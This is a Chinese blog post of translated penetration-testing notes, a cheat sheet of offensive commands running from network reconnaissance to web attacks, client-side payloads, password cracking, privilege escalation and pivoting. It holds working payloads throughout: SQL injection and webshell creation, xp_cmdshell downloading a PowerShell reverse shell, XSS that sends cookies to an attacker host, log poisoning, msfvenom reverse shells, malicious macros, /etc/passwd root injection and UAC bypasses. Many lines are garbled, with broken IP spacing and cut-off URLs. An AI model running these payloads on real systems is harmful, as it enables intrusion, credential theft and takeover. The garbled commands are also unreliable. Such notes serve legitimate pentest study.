笔记说明: 该笔记是国外进攻性爱好者 rodolfomarianocy 在 github 上记录的学习笔记,我整体翻译了注释的内容,并根据个人学习情况,增加或删除了一部分内容,至此放置博客上留作后续复习使用,以及方便各位浏览到我博客的安全爱好者参考使用。
六、侦察-信息收集 主机发现 nmap
https://github.com/andrew-d/static-binaries/tree/master/binaries
crackmapexec执行SMB
1 crackmapexec smb 192.168 .0 .20 /24
Ping 扫描 - PowerShell
1 for ($i=1 ;$i -lt 255 ;$i++) { ping -n 1 192.168 .0 .$i| findstr "TTL" }
Ping 扫描 - Bash
1 for i in {1. .255 };do (ping -c 1 192.168 .0 .$i | grep "bytes from" &); done
端口扫描 - Bash
1 for i in {1. .65535 }; do (echo > /dev/tcp/192.168 .1 .1 /$i) >/dev/null 2 >&1 && echo $i is open; done
端口扫描 - NetCat
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat
端口扫描 Nmap 1 nmap -sC -sV -A -Pn -T5 -p- <ip>
rustscan rustscan安装
1 2 sudo docker pull rustscan/rustscan:2.1 .1 alias rustscan='sudo docker run -it --rm --name rustscan rustscan/rustscan:2.1.1'
rustscan扫描
1 rustscan -a <ip> -- -A -Pn
DNS枚举 查找域的主机记录
1 2 3 host <domain> host -t mx megacorpone.com host -t txt <domain>
正向查找暴力破解
1 for ip in $(cat wordlist.txt); do host $ip.<domain>; done
反向查找暴力破解
1 for ip in $(seq 50 100 ); do host 192.168 .0 .$ip; done | grep -v "not found"
获取给定域的 DNS 服务器
1 host -t ns megacorpone.com | cut -d " " -f 4
DNS 区域传输
1 host -l <domain name> <dns server address>
DNS 区域传输 - dnsrecon
1 2 dnsrecon -d <domain -t axfr dnsrecon -d megacorpone.com -D wordlist.txt -t brt
中小企业服务枚举 1 nmap -v -p 139 ,445 -oG smb.txt 10.11 .1 .1 -254
1 sudo nbtscan -r 10.11 .1 .0 /24
枚举4Linux
1 2 enum4linux <ip> enum4linux -a -u "" -p "" <ip> && enum4linux -a -u "guest" -p "" <ip>
NFS 枚举 查看 nfs 版本
1 nmap -sV -p 111 --script=rpcinfo 10.11 .1 .1 -254
或者
查看NFS共享目录
1 nmap -p 111 --script nfs* <IP>
或者
挂载
1 2 mkdir /tmp/ok sudo mount -t nfs -o vers=4 <IP>:/folder /tmp/ok -o nolock
配置文件
1 2 /etc/exports /etc/lib/nfs/etab
LDAP 枚举 1 nmap -n -sV --script "ldap* and not brute" <IP>
SNMP 枚举 1 sudo nmap -sU --open -p 161 10.11 .1 .1 -254 -oG open-snmp.txt
1 2 3 echo public > community echo private >> community echo manager >> community
1 2 for ip in $(seq 1 243 ); do echo 192.168 .0 .$ip; done > ips onesixtyone -c community -i ips
1 onesixtyone -c community -i ips
枚举整个MIB树
1 snmpwalk -c public -v1 <ip>
枚举Windows用户
1 snmpwalk -c public -v1 <ip> 1.3 .6 .1 .4 .1 .77 .1 .2 .25
列出正在运行的进程
1 snmpwalk -c public -v1 <ip> 1.3 .6 .1 .2 .1 .25 .4 .2 .1 .2
列出开放的 TCP 端口
1 snmpwalk -c public -v1 <ip> 1.3 .6 .1 .2 .1 .6 .13 .1 .3
枚举已安装的软件
1 snmpwalk -c public -v1 <ip> 1.3 .6 .1 .2 .1 .25 .6 .3 .1 .2
文件传输协议 -> 凭据默认 anonymous:anonymous -> 获取版本
扫描 ftp 服务
1 nmap --script ftp-* -p 21 <ip>
二进制传输
ascii 传输
远程登录计划 RDP 枚举
1 nmap --script rdp-ntlm-info,rdp-enum -encryption ,rdp -vuln -ms12 -020 -p 3389 -T4 < IP>
连接到 RDP
1 2 rdesktop -u <username> <IP> xfreerdp /d:<domain> /u:<username> /p:<password> /v:<IP>
检查 RDP 中的有效凭据
1 rdp_check <domain>/<name>:<password>@<IP>
邮箱登录计划 POP 枚举
1 nmap --script pop3-capabilities,pop3-ntlm-info -sV -port <IP>
登录
1 2 3 telnet <IP> 110 USER user1 PASS password
列出消息
显示消息编号 1
邮件传输协议 SMTP 枚举
1 nmap -p25 --script smtp-commands,smtp-open-relay 10.10 .10 .10
通过 SMTP 发送电子邮件
1 2 3 4 5 6 7 8 9 10 11 nc -C <IP> 25 HELO MAIL FROM:user@local RCPT TO:user2@local DATA Subject: approved in the job http: . QUIT
Hydra smtp-enum://192.168.0.1/vrfy -l john -p localhost -> 用户名枚举
1 2 3 telnet 10.0 .0 .1 25 HELO hydra smtp-enum :
网站信息搜集技术 沃帕利泽 - wappalyzer https://www.wappalyzer.com/
那个网站是什么
FFUF目录扫描工具 模糊测试
或者
1 gobuster dir -u <IP> -w /usr/share/wordlists/dirb/common.txt -t 5
模糊测试文件扩展名
1 ffuf -u "https://site.com/indexFUZZ" -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -fs xxx
模糊测试参数 GET
1 ffuf -u "https://site.com/index.php?FUZZ=ok" -w wordlist.txt -fs xxx
模糊测试参数 POST
1 ffuf -u "https://site.com/index.php" -X POST -d 'FUZZ=ok' -H 'Content-Type: application/x-www-form-urlencoded' -w wordlist.txt -fs xxx
https://github.com/danielmiessler/SecLists
Nikto - Web 服务器扫描仪
HTTP 枚举 Nmap 1 nmap -p80 --script=http-enum <IP>
内容管理系统 WordPress wpscan
1 2 wpscan --url http: wpscan --url http:
juumla 尤姆拉
1 python main.py -u <target>
https://github.com/oppsec/juumla
droopescan drupal扫描
1 droopescan scan drupal -u <target> -t 32
https://github.com/SamJoan/droopescan
magescan 磁扫描
1 php magescan.phar scan:all www.example.com
https://github.com/steverobbins/magescan
八、WEB应用攻击 SQL 注入 - MySQL/MariaDB 绕过身份验证
1 2 3 4 5 ' or 1=1 -- - admin' -- -' or 1=1 order by 2 -- - ' or 1 =1 order by 1 desc -- - ' or 1=1 limit 1,1 -- -
获取数字列
获取版本
1 -1 union select 1,2,version (); #
获取数据库名称
1 -1 union select 1,2,database (); #
获取表名
1 -1 union select 1,2, group_concat (table_name ) from information_schema .tables where table_schema ="<database_name>" ;#
获取列名
1 -1 union select 1,2, group_concat (column_name ) from information_schema .columns where table_schema ="<database_name>" and table_name="<table_name>" ;#
转储
1 -1 union select 1,2, group_concat (< column_names>) from <database_name>.<table_name>;#
通过 SQLI 的 Webshell 查看Web服务器路径
1 LOAD_FILE('/etc/httpd/conf/httpd.conf' )
创建 webshell
1 select "<?php system($_GET['cmd']);?>" into outfile "/var/www/html/shell.php" ;
通过 SQLI 读取文件 - MySQL 例如
1 SELECT LOAD_FILE ('/etc/passwd' )
Oracle SQL 绕过身份验证
获取数字列
获取表名
1 ' union select null,table_name,null from all_tables--
获取列名
1 ' union select null,column_name,null from all_tab_columns where table_name=' <table_name>'--
转储
1 ' union select null,PASSWORD||USER_ID||USER_NAME,null from WEB_USERS--
SQLite注入 提取表名,不显示标准 sqlite 表
提取表用户
参考: https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf
MSSQL注入 绕过身份验证
获取版本+延迟
1 ' SELECT @@version; WAITFOR DELAY ' 00 :00 :10' ; —
启用 xp_cmdshell
1 ' UNION SELECT 1, null; EXEC sp_configure ' show advanced options' , 1 ; RECONFIGURE; EXEC sp_configure 'xp_cmdshell' , 1 ; RECONFIGURE;--
远程代码执行
1 ' exec xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString(' http:
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
滥用MSSQL 编辑 Invoke-PowerShellTcp.ps1,添加以下内容:
1 Invoke-PowerShellTcp -Reverse -IPAddress 192.168 .254 .226 -Port 4444
1 impacket-mssqlclient <user>@<ip> -db <database>
1 xp_cmdshell powershell IEX (New-Object Net.webclient) .downloadString (\"http://<ip>/Invoke-PowerShellTcp.ps1\")
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
跨站脚本攻击(XSS) 1-> 确定所使用的语言和框架 2-> 确定入口点(参数、输入、反映您可以控制的值的响应等) 3-> 通过源代码预览或浏览器开发工具检查这如何反映在响应中 4- > > 检查允许的特殊字符
5-> 检测是否有过滤器或堵塞物并根据需要进行修改以使其正常工作
XSS 绕过的词汇表 https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/wordlists/xss_bypass.txt
https://gist.githubusercontent.com/rvrsh3ll/09a8b933291f9f98e8ec/raw/535cd1a9cefb221dd9de6965e87ca8a9eb5dc320/xxsfilterbypass.lst
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/XSS/XSS-Bypass-Strings-BruteLogic.txt
https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/XSS/XSS-Cheat-Sheet-PortSwigger.txt
XSS 审核器和 XSS 过滤器 https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
https://www.chromium.org/developers/design-documents/xss-auditor/
https://portswigger.net/daily-swig/xss-protection-disappears-from-microsoft-edge
https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Headers/X-XSS-Protection
XSS 键盘记录器 https://rapid7.com/blog/post/2012/02/21/metasploit-javascript-keylogger/
https://github.com/hadynz/xss-keylogger
XSS突变 http://www.businessinfo.co.uk/labs/mxss/
XSS 多语言 https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
正则表达式黑名单过滤 过滤器阻塞开启 - 绕过(on\w+\s*=)
1 2 3 4 <svg onload%09 =alert(1 )> <svg %09 onload%20 =alert(1 )> <svg onload%09 %20 %28 %2 C%3B =alert(1 )> <svg onload%0B =alert(1 )>
基于关键字的过滤器 警报被阻止 - 绕过 1 2 3 4 <script>\u0061lert(1 )</script> <script>\u0061\u006C\u0065\u0072\u0074(1 )</script> <script>eval("\u0061lert(1)" )</script> <script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" )</script>
删除脚本标签 - 绕过 1 <sCR<script>iPt>alert(1 )</SCr</script>IPt>
字符转义绕过 方法 String.fromCharCode() 转义
例如 解码 URI + unescape 方法(需要 eval)
1 2 decodeURI(/alert(%22 xss%22 )/.source) decodeURIComponent(/alert(%22 xss%22 )/.source)
其他旁路技术 统一码
1 <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)" />
添加执行接收器: -> eval -> setInterval -> setTimeout
-> 八进制
1 <img src=x onerror="eval('\141lert(1)')" />
-> 十六进制
1 <img src=x onerror="setInterval('\x61lert(1)')" />
-> 混合(uni、hex、octa)
1 <img src=x onerror="setTimeout('\x61\154\145\x72\164\x28\x31\x29')" />
https://checkserp.com/encode/unicode/
http://www.unit-conversion.info/texttools/octal/
http://www.unit-conversion.info/texttools/hexadecimal/
其他例子 HTML标签
->
HTML 标签属性 1 <input value="here" /></input>
->
1 " /><script>alert(1)</script>
脚本标签 1 2 3 <script> var name="here" ; </script>
->
事件属性 1 <button onclick="here;" >Okay!</button>
->
基于Dom 1 <script>var ok = location.search.replace("?ok=" , "" );domE1.innerHTML = "<a href=\'" +ok+"\'>ok</a>" ;</script>
->
JavaScript 编码 -> jjencodehttps://utf-8.jp/public/jjencode.html
-> aaencodehttps://utf-8.jp/public/aaencode.html
-> jsfuckhttp://www.jsfuck.com/
- > Xchars.jshttps://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
解码器 - 混淆(Javascript 解码器和 PHP) https://malwaredecoder.com/
XSS 到 LFI 1 2 <img src=x onerror="document.write('<iframe src=file:///etc/passwd></iframe>')" /> <script>document.write('<iframe src=file:///etc/passwd></iframe>' );</script>
XSS-会话劫持 示例
1 2 3 4 5 <script>new Image().src="http://<IP>/ok.jpg?output=" +document.cookie;</script> <script type="text/javascript" >document.location="http://<IP>/?cookie=" +document.cookie;</script> <script>window.location="http://<IP>/?cookie=" +document.cookie;</script> <script>document.location="http://<IP>/?cookie=" +document.cookie;</script> <script>fetch('http://<IP>/?cookie=' + btoa(document.cookie));</script>
模板 - 细胞核 https://raw.githubusercontent.com/esetal/nuclei-bb-templates/master/xss-fuzz.yaml
Git 信息泄露攻击
https://github.com/arthaud/git-dumper
工具 https://github.com/internetwache/GitTools
损坏的访问控制 - IDOR(不安全的直接对象引用)
搜索请求中的 ID 列表,如果找不到,请创建至少两个帐户并分析涉及 ID 的请求
识别应用程序中的访问控制
更改请求方法(GET、POST、PUT、DELETE、PATCH…)
搜索旧版本 API 的 /api/v1/ /api/v2/ /api/v3/
尝试发送 (*) 而不是 ID,尤其是在搜索点
取决于上下文和可预测性的强力 ID
IDOR+参数污染 HTTP参数污染 1 2 3 GET /api/v1/messages?id=<Another_User_ID> # unauthourized GET /api/v1/messages?id=<You_User_ID>&id=<Another_User_ID> # authorized GET /api/v1/messages?id[]=<Your_User_ID>&id[]=<Another_User_ID>
Json参数污染 1 2 POST /api/v1/messages {"user_id" :<You_user_id>,"user_id" :<Anoher_User_id>}
使用 JSON 对象
1 2 POST /api/v1/messages {"user_id" :{"user_id" :<Anoher_User_id>}}
带数组
1 2 {"user_id" :001 } #Unauthorized {"user_id" :[001 ]} #Authorized
随机案例 GET /admin/profile #未授权 GET /ADMIN/profile #授权
UUIDv1 https://caon.io/docs/exploitation/other/uuid/
https://github.com/felipecaon/uuidv1gen
其他的 如果在 ruby 中则添加 .json
1 2 /user/1029 # Unauthorized /user/1029. json # Authorized
本地文件包含 - LFI 替换../ - 绕过 $语言 = str_replace(‘../‘, ‘’, $_GET[‘文件’]);
1 2 3 /.... ..././..././..././..././etc/paswd ....\/....\/....\/....\/etc/passwd
编码以及路径转换 urlencode 和双 urlencode /etc/passwd
1 %2 e%2 e%2f %2 e%2 e%2f %2 e%2 e%2f %2 e%2 e%2f %65 %74 %63 %2f %70 %61 %73 %73 %77 %64
1 %25 %32 %65 %25 %32 %65 %25 %32 %66 %25 %32 %65 %25 %32 %65 %25 %32 %66 %25 %32 %65 %25 %32 %65 %25 %32 %66 %25 %32 %65 %25 %32 %65 %25 %32 %66 %25 %36 %35 %25 %37 %34 %25 %36 %33 %25 %32 %66 %25 %37 %30 %25 %36 %31 %25 %37 %33 %25 %37 %33 %25 %37 %37 %25 %36 %34
PHP 包装器
过滤 PHP 预定义路径 preg_match(‘/^./okay/.+$/‘, $_GET[‘file’])
1 ./okay/../../../../etc/passwd
使用空字节绕过 PHP 扩展
删除 .php
LFI + 文件上传 动图
1 echo 'GIF8<?php system($_GET["cmd"]); ?>' > ok.gif
https://github.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/blob/main/codes/webshells/shell.gif
shell.gif -> Zip 1-
1 echo '<?php system($_GET["cmd"]); ?>' > ok.php && zip wshell_zip.jpg ok.php
2-
日志中毒 阿帕奇
1 2 nc ip 80 <?php system ($_GET[‘cmd’]) ; ?>
或 1-
2-http://ip/index.php?file=/var/log/apache2/access.log&cmd=id
邮件发送
1 2 3 4 telnet ip 23 MAIL FROM: email@gmail.com RCPT TO: <?php system ($_GET[‘cmd’]) ; ?> http:
SSH
1 2 ssh \'<?php system($_GET[' cmd' ]);?>'@ip http://ip/index.php?file=/var/log/auth.log&cmd=id
PHP 会话
其他路径
1 2 3 4 /var/log /nginx/access.log /var/log /sshd.log /var/log /vsftpd.log /proc/self/fd/0 -50
模板 LFI 和目录遍历 - Nuclei https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/fuzzing/linux-lfi-fuzzing.yaml
https://raw.githubusercontent.com/CharanRayudu/Custom-Nuclei-Templates/main/dir-traversal.yaml
单词表 burp-parameter-names.txt - 用于参数模糊测试的单词列表https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt
词表 LFI - Linuxhttps://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
单词列表 LFI - Windowshttps://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
bypass_lfi.txthttps://github.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/blob/main/wordlists/lfi_bypass.txt
中毒.txthttps://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/wordlists/posoning.txt
远程文件包含 (RFI) RFI 到 Webshell,带有空字节以绕过图像扩展 1 2 echo "<?php echo shell_exec($_GET['cmd']); ?>" > evil.txt python -m http.server 80
RFI 到带有 txt 的 Webshell 1 2 echo '<?php echo shell_exec($_GET["cmd"]); ?>' > evil.txt python -m http.server 80
操作系统命令注入 特殊字符
1 2 3 4 5 6 7 8 & command && command ; command command %0 A command | command || command `command` $(command)
带外 - OOB 漏洞利用
1 2 3 4 curl http: curl http: nslookup `whoami`.attacker-server.com & curl http:
检查命令是否由PowerShell或CMD执行
1 (dir 2 >&1 *`|echo CMD);&<# rem #>echo PowerShell
HTTP数据包头命令执行 检测
利用
1 2 3 curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /bin/bash -c 'whoami'" <IP> curl -A "() { :; };echo ;/bin/bash -c 'hostname'" <IP> curl -A "() { :; }; /usr/bin/nslookup $(whoami).site.com" <IP>
WEB DAV 连接到 WebDAV 服务器并将恶意文件发送到 shell
1 2 cadaver http: put <shell.asp>
1 curl -u "<user>:<password>" http:
https://github.com/notroj/cadaver
十一、客户端攻击 HTA 攻击实战 获取网络浏览器名称、操作系统、设备类型https://explore.whatismybrowser.com/useragents/parse/#parse-useragent
使用 msfvenom 创建恶意 .hta
1 sudo msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f hta-psh -o /var/www/html/evil.hta
Microsoft Word 宏攻击 使用 .doc 的 base64 在 powershell 中生成反向 shell 的恶意宏
1 python evil_macro.py -l <ip> -p <port> -o macro.txt
https://github.com/rodolfomarianocy/Evil-Macro/
恶意的PDF 恶意 PDF 生成器
1 python3 malicious-pdf.py burp-collaborator-url
https://github.com/jonaslejon/malicious-pdf
邪恶pdfhttps://github.com/superzerosec/evilpdf
十五、密码攻击 生成单词列表 Cewl - 自定义单词列表生成器 根据网站信息生成单词列表
1 cewl <domain> -w wordlist.txt
Crunch - 单词列表生成器 字符翻译@ = Lower case alpha characters
, = Upper case alpha characters
% = Numeric characters
^ = Special characters including space
用法
1 ./crunch <min-len> <max-len> [charset]
基本示例
1 crunch 4 6 0123456789 abcdef -o wordlist.txt
john · 破解 在规则模块 [List.Rules:Wordlist] 内的 /etc/john/john.conf 文件中添加您想要的规则以修改您的单词列表 基本规则示例$@$[1-2]$[0-9]$[0-9]$[0-9]
1 john --wordlist=wordlist.txt --rules --stdout > mutated.txt
https://www.openwall.com/john/doc/RULES.shtml
破解密码 识别哈希类型
https://www.tunnelsup.com/hash-analyzer/
https://hashes.com/en/tools/hash_identifier
使用 2john 对不同文件类型进行哈希处理以进行破解
密码管理器 搜索 KeePass 数据库文件
1 Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
对 .kdbx 文件进行哈希处理
1 keepass2john Database.kdbx > keepass.hash
查找 hashcat 的哈希模式 ID
1 hashcat --help | grep -i "KeePass"
hashcat 破解密码
1 hashcat -m 13400 keepass.hash
暴力攻击 RDP 暴力破解 - Hydra 1 hydra -L /usr/share/wordlists/rockyou.txt t -p "<password" rdp:
RDP 暴力破解 - Crowbar 1 crowbar -b rdp -s X.X.X.X/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 1
SMB 暴力破解 - Hydra 1 hydra -L /root/Desktop/user.txt -P /usr/share/wordlists/rockyou.txt <IP> smb
SSH 暴力破解 - Hydra 1 hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh:
HTTP POST 登录表单暴力破解 - Hydra 1 hydra -l <user> -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/login.php:user=admin&pass=^PASS^:Invalid Login" -vV -f
HTTP GET 登录表单暴力破解 - Hydra 1 hydra -l <username> -P /usr/share/wordlists/rockyou.txt -f <IP> http-get /login
十六、Windows 枚举和本地权限提升 枚举 枚举所有本地帐户
获取特定用户的信息
检查用户权限
查看您所属的组
查看接口和网络信息
查看所有活动的 TCP 连接以及主机正在侦听的 TCP 和 UDP 端口
列出正在运行的进程
查看系统任务
权限提升 不带引号的服务路径 检测
1 2 3 4 wmic service get Name,State,PathName | findstr "Program" sc qc <service_name> \\ BINARY_PATH_NAME display Unquoted Service Paths, without "" powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
利用 - 攻击者
1 2 msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > name <name_inside_the_path>.exe nc -nvlp <port>
漏洞利用 - windows
1 2 iwr -uri <ip>/<service_eecutable_name> -Outfile <service_executable_name> move <name_inside_the_path>.exe <service_path>
1 2 sc stop <service_name> sc start <service_name>
或者
binPath - 服务 [PrivEsc] 检测
1 2 Import-Module ./PowerUp.ps1 Get-ModifiableService -Verbose
或者
1 2 3 4 5 6 7 8 9 Get-ModifiableService -Verbose wmic service get Name,State,PathName | findstr "Running" | findstr "Program" wmic service get Name,State,PathName | findstr "Program" icacls <pathname> accesschk.exe -wuvc <service_name> sc qc <service_name>
利用 - Windows [PrivEsc]
1 2 3 4 5 certutil -urlcache -f http: sc config <name_ service> binPath="C:\Users\files\ok.exe" obj= LocalSystem sc stop <service_name> sc query <service_name> sc start <service_name>
https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
冒充特权 1 PrintSpoofer64.exe -i -c cmd
https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
自动运行 检测 - windows
1 2 C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "" C:\Program Files\Autorun Program" \\FILE_ALL_ACCESS
剥削 - kali
1 msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f exe -o program.exe
1 2 3 iex (iwr http: move program.exe "C:\Program Files\Autorun Program" logoff
启动应用程序 检测 - Windows
1 2 icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" | findstr (F) \\BUILTIN\Users:(F)
msfvenom - 攻击者虚拟机
1 msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o ok.exe
利用 - Windows
1 2 3 iex (iwr http: move ok.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup” logoff
绕过UAC(bypass uac) 在具有本地管理员用户的计算机上获得反向 shell 后,可能需要绕过用户帐户控制 (UAC) 来执行特定的恶意操作,例如持久安装恶意软件、修改安全设置或利用系统漏洞。这可以通过旨在绕过 UAC 施加的限制的专门技术和工具来完成。 https://decoder.cloud/2017/02/03/bypassing-uac-from-a-remote-powershell-and-escalting-to-system/
事件查看器 第 1 步 - 卡利
1 msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -f exe > ok.exe
第 2 步 - 赢得拥有
1 2 3 cd C:\Windows\tasks iwr -uri 192.168 .119 .139 :805 /shell.exe -Outfile shell.exe Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe
第 3 步 - 赢得拥有
1 2 3 4 iwr -uri 192.168 .119 .139 :805 /powerup.ps1 -Outfile powerup.ps1 powershell -ep bypass Import-Module ./PowerUp.ps1 Invoke-AllChecks
1 [+] Run a BypassUAC attack to elevate privileges to admin.
第4步-卡利
1 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168 .119 .139 LPORT=8445 -f exe > ok.exe
第 5 步 - 赢得拥有
1 2 3 4 wget 192.168 .119 .139 :805 /Invoke-EventViewer.ps1 -O Invoke-EventViewer.ps1 . .\Invoke-EventViewer.ps1 Invoke-EventViewer cmd.exe /c "C:\Windows\tasks\shell2.exe" Invoke-EventViewer C:\Windows\tasks\shell2.exe
https://raw.githubusercontent.com/CsEnox/EventViewer-UACBypass/main/Invoke-EventViewer.ps1
Fodhelper绕过 https://raw.githubusercontent.com/winscripting/UAC-bypass/master/FodhelperBypass.ps1
捕获配置文件凭据 Powershell 历史
1 type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
利用保存的 Windows 凭据
1 2 cmdkey /list runas /savecred /user:admin cmd.exe
IIS 配置
1 2 type C:\Windows\Microsoft.NET\Framework64\v4.0 .30319 \Config\web.config | findstr connectionString type C:\inetpub\wwwroot\web.config | findstr connectionString
从软件中检索凭证:PuTTY
1 reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
无人值守的 Windows 安装
1 2 3 4 5 C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml
识别
McAfee Enterprise Endpoint Security - 安装期间使用的凭据
1 2 3 C:\ProgramData\McAfee\Agent\DB\ma.db sqlitebrowser ma.db python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>
https://raw.githubusercontent.com/funoverip/mcafee-sitelist-pwd-decryption/master/mcafee_sitelist_pwd_decrypt.py
Windows枚举工具 PowerUp.ps1
1 2 Import-Module ./PowerUp.ps1 Invoke-AllChecks
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
winPEASany.exe
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
windows-privesc-check2.exe
1 windows-privesc-check2.exe --dump -G
https://github.com/pentestmonkey/windows-privesc-check
十七、Linux 枚举和权限提升 枚举 获取系统发行版和版本
获取内核版本
1 2 cat /proc/version uname -a
查看变量环境
1 2 3 4 5 6 7 env cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout cat ~/.zshrc
查看用户命令历史记录
1 2 3 4 5 6 cat ~/.bash_history cat ~/.zsh_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history
列出正在运行的进程
查看接口和网络信息
查看所有活动的 TCP 连接以及主机正在侦听的 TCP 和 UDP 端口。
获取映射到 IP 的 DNS 解析器和主机
1 2 cat /etc/resolv.conf cat /etc/hosts
获取系统用户、组和密码信息
1 2 cat /etc/passwd cat /etc/shadow
提取数据库信息 PostgreSQL 作为 postgres 用户的 psql 终端
列出数据库
选择数据库
列出表格
转储
读取文件
1 2 3 CREATE TABLE demo (t text) ; COPY demo from '<filename>' ; SELECT * FROM demo;
SQLite 访问数据库
列出表格
转储
MySQL 1 mysql -u root -h localhost -p
列出数据库
选择数据库
列出表格
转储
其他提示 对 Web 服务器文件 (/var/www/html) 执行代码审查;-> 检查日志文件中的凭据; 权限提升 定时任务 [PrivEsc] 枚举
1 2 cat /var/log /cron.log cat /etc/crontab
提权
1 echo "chmod +s /bin/bash" >> script.sh
SUID [PrivEsc] 枚举
1 find / -perm -u=s -type f 2 >/dev/null
或者
1 2 id find / -perm -u=s -type f -group <group> 2 >/dev/null
利用https://gtfobins.github.io/
功能 [PrivEsc] 枚举
利用https://gtfobins.github.io/
带有 Sudo 的二进制文件 [PrivEsc]
或者
利用https://gtfobins.github.io/
通过 sudo [PrivEsc] 以具有权限的其他用户身份运行命令 1 sudo -u <username> <command>
弱文件权限/Passwd Writabble [PrivEsc] 枚举
1 2 ls -la /etc/passwd ls -la /etc/shadow
提权
1 echo "user:$(openssl passwd password123):0:0:root:/root:/usr/bin/bash" >> /etc/passwd
NFS根挤压 检测 - VM 拥有
查看具有访问权限的 nfs 目录 - 攻击者虚拟机
获取 nfs 版本 - 攻击者虚拟机
安装 - 攻击者虚拟机
1 2 mkdir /tmp/1 mount -o rw,vers=2 <ip>:/<nfs_directory> /tmp/1
为 privesc 创建并编译文件 - 攻击者虚拟机
1 2 3 echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1 /x.c gcc /tmp/1 /x.c -o /tmp/1 /x chmod +s /tmp/1 /x
利用 - VM 拥有
sudo < v1.28 - @sickrov [PrivEsc]
Docker 突破 [PrivEsc] 搜索套接字
1 find / -name docker.sock 2 >/dev/null
列出图像
提权
1 docker run -it -v /:/host/ <image>:<tag> chroot /host/ bash
Linux 枚举工具 [PrivEsc] linpeas.sh
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
pspy(非特权 Linux 进程监听)
https://github.com/DominicBreuker/pspy
linux-exploit-suggester
1 ./linux-exploit-suggester.sh
或者
1 ./linux-exploit-suiggester.sh --uname <uname-string >
https://github.com/The-Z-Labs/linux-exploit-suggester
Unix Privesc 检查
https://pentestmonkey.net/tools/audit/unix-privesc-check
十八、端口转发和代理 端口转发 SSH 隧道/本地端口转发 1 ssh user@<ip> -p port -L 8001 :127.0 .0 .1 :8080 -fN
SSH 远程端口转发 1 ssh -R 5555 :127.0 .0 .1 :5555 -p2222 <user>@<ip>
Socat - 端口转发 1 ./socat.exe TCP-LISTEN:8002 ,fork,reuseaddr TCP:127.0 .0 .1 :8080
chisel - 远程端口转发 你的机器
1 ./chisel server -p <LISTEN_PORT> --reverse &
受损主机
1 ./chisel client <server_ip>:<server_port> R:<LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> &
Chisel - 本地端口转发 受损主机
1 ./chisel server -p <LISTEN_PORT>
你的机器
1 ./chisel client <server_ip>:<server_port> <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT>
pklink - 远程端口转发 1 cmd.exe /c echo y | plink.exe -ssh -l <user> -pw <password> -R 192.168 .0 .20 :1234 :127.0 .0 .1 :3306 192.168 .0 .20
代理 - 网络枢轴 sshuttle (Unix) - 代理 1 sshuttle -r user@<ip> --ssh-cmd "ssh -i private_key" 172.16 .0 .0 /24
